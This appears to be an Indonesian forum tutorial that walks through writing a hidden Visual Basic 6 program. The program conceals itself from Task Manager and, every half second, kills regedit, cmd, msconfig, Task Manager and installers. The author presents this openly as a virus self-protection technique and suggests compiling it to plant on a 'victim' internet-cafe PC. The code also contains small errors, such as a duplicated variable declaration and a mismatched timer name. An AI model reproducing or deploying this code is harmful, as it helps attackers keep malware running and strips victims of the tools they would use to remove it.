MENCULIK PROGRAM KHUSUS/KESAYANGAN

hi......hi.........serem ya judulnya????/
ah nggak kok, disini kita g akan berbuat kejahatan atau kriminalitas, krn yang kita culik bukan orang, barang berharga, pekerjaan dll, melainkan program khusus yang biasanya digunakan untuk menghentikan proses kerja program kita, seperti : regedit.exe, taskmgr.exe, msconfig.exe dll.

Program ini biasanya digunakan kebanyakan "virus" untuk mempertahankan dirinya. coba bayangin, program2 yang dah capek2 kita buat, eh malah dengan mudahnya dihentikan hanya dengan membuka task manager kemudian dipencet "end process". sialan, akhirnya kimatlah program kita.

Ok, langsung saja....disini kita masih mencoba/belajar mengeksplorasi visual basic 6.0 (seperti halnya thread sebelumnya). "apa??? masih belum punya vb 6.0???? buruan install ato donlot gih...!!!"
inilah skenario programnya.....(kayak film aja) : Pertama, kita akan aktifkan timer yg fungsinya mengontrol n mematikan semua program yg telah ditentukan sebelumnya. Pengontrolan tsb akan dilakukan setiap 0,1 detik sekali. So, ketika anda menjalankan program2 yg telah diBlacklist tadi, maka 0,1 detik kemudian program tsb akan langsung tertutup secara otomatis. Nah, saking cepatnya proses pendeteksian n penutupan program, bisa jadi anda tidak sempat melihat atau menyadari proses yg terjadi tsb. Dan yang bisa anda lakukan hanyalah rasa penasaran..... "kok g tampil2 ya????" dan akhirnya kalimat bernada umpatan akan mengalir dengan begitu derasnya.... (Astagfirullah.....semoga anda bukan termasuk golongan orang2 itu) he...he...he...

and here it is.......(bener g sih bhs inggrisnya...??)

• Buka program Visual Basic anda, pilih yang standart exe.
  
• Buat Project beserta isinya dengan ketentuan sbb:

- Nama Project : prjClsApp.vbp (cara mengubah nama project n form dah dijelasin di thread sebelumnya)
- Nama Form : frmClsApp.frm (cara mengubah nama project n form dah dijelasin di thread sebelumnya)
- Nama Modul : mdlClsApp.bas (cara nambahin modul, klik menu Project, pilih Add Module, trus ubah namanya pada property windows kolom name, kemudian masukkan mdlClsApp, tanpa ekstensi file. jika langkah anda berhasil, maka anda akan menemukan file dengan nama mdlClsApp.bas. ingat ekstensinya *.bas)
- Kontrol penting : Timer (icon jam beker pada component toolbox, di sisi kiri), nah masukin timer tsb pada form anda. timer ini digunakan untuk memonitor jalannya program2 setiap setengah detik sekali.

Beri label timer anda dengan ketentuan sbb:
* Nama timer : tmrClsApp (pada property windows)
* Enabled : True (pada property windows)
* Interval : 500 (pada property windows). 1 detik = 1000, jadi jika setengah detik = 500. nah jika 60 detik berapa donk...? (Shut Up...!!! ya tinggal dikaliin aja to..... kok malah jadi pelajaran matematika)

• Oh ya jgn Lupa atur property form Visible menjadi False, supaya form tdk ditampakkan
• Sekarang ketikkan perintah yang berwarna merah di bawah ini pada modul anda (Double click modul anda)

'fungsi win32 API
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function Process32First Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib "kernel32" (ByVal hSnapshot As Long, lppe As PROCESSENTRY32) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long

'mendeklarasikan konstanta
Private Const TH32CS_SNAPPROCESS As Long = 2&
Private Const MAX_PATH As Integer = 260

'membuat tipe data baru
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultheapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type

'membuat fungsi WinExit
Public Function WinExit (sExeNam As String)
Dim lLng As Long, lA As Long, lA As Long, lExCode As Long
Dim procObj As PROCESSENTRY32
Dim hSnap As Long
Dim lRet As Long
hSnap = CreateToolHelp32Snapshot (TH32CS_SNAPPROCESS, 0&)
procObj.dwSize = Len (procObj)
lRet = Process32First (hSnap, procObj)
Do While Process32Next (hSnap, procObj)
If InStr (1, LCase (procObj.szExeFile), LCase (sExeNam$)) > 0 Then lLng = OpenProcess (&H1, ByVal 0&, procObj.th32ProcessID)
lA = TerminateProcess (lLng, lExCode)
Exit Do
End If
Loop
End Function

• hi...hi...hi.... panjang ya..? sabar, bentar lagi selesai kok. Double Click form anda, lalu ketik kode program yang berwarna merah di bawah ini :

Option Explicit

Private Sub Form_Load ()
'sembunyikan diri dari task manager
App.TaskVisible = False
End Sub

Private Sub tmrCloseApp_Timer ()
'menutup registry editor
WinExit "regedit.exe"
'menutup command prompt
WinExit "cmd.exe"
'menutup file2 install.exe ketika dijalankan
WinExit "install.exe"
'menutup file2 setup ketika dijalankan
WinExit "setup.exe"
'menutup system configuration utility
WinExit "msconfig.exe"
'menutup task manager
WinExit "taskmgr.exe"
End Sub

• Simpan projek, form dan modul anda (klik icon disket), kemudian coba jalankan program anda dengan cara tekan ctrl+F5

• oh ya, biar hasilnya tampak lengkap, sebelum anda jalankan program ini, coba anda jalankan dulu regedit, msconfig, cmd dan kawan-kawan. baru jalankan program anda. Ada yang tampil...???? harusnya sih ngga ada....tapi itu semua tergantung program2 apa saja yang anda blacklist dan itu semua sudah anda tulis dalam source code, tepatnya dalam event tmrClsApp_Timer(). perhatikan baris kode berikut ini :

Private Sub tmrCloseApp_Timer ()
'menutup registry editor
WinExit "regedit.exe"
'menutup command prompt
WinExit "cmd.exe"
'menutup file2 install.exe ketika dijalankan
WinExit "install.exe"
'menutup file2 setup ketika dijalankan
WinExit "setup.exe"
'menutup system configuration utility
WinExit "msconfig.exe"
'menutup task manager
WinExit "taskmgr.exe"
End Sub

terlihat bahwa program2 yg kita blacklist adalah regedit.exe, cmd.exe, install.exe, setup.exe, msconfig.exe, dan taskmgr.exe. Jika anda menjalankan program2 aplikasi selain nama2 itu, maka semua akan baik2 saja (kok mirip lagunya kakak saya ya.......itu tuh kak pinkan).

nah, disini anda akan leluasa untuk berkreasi menambahkan program2 yang akan anda masukkan dalam daftar hitam (Blacklist). dan yang anda perlukan hanyalah menuliskan nama file dari program aplikasi anda tsb (diapit tanda kutip) dan ditulis setelah fungsi WinExit. Contoh, jika anda ingin mem-blacklist program aplikasi winamp, maka yang perlu anda ketikkan adalah :

WinExit "winamp.exe"

coba bayangin, kalo program yang anda blacklist adalah firefox.exe, opera.exe dll. dan program anda berhasil menyusup pada warnet korban.......wah.....g tau deh jadinya....(Lho....)

• langkah terakhir adalah meng-compile program anda menjadi (*.exe), jadi program anda bisa berjalan pada pc korban meskipun tidak terinstall program visual basic, dengan catatan OS yang digunakan adalah Windows.......(yeah...I Love Windows)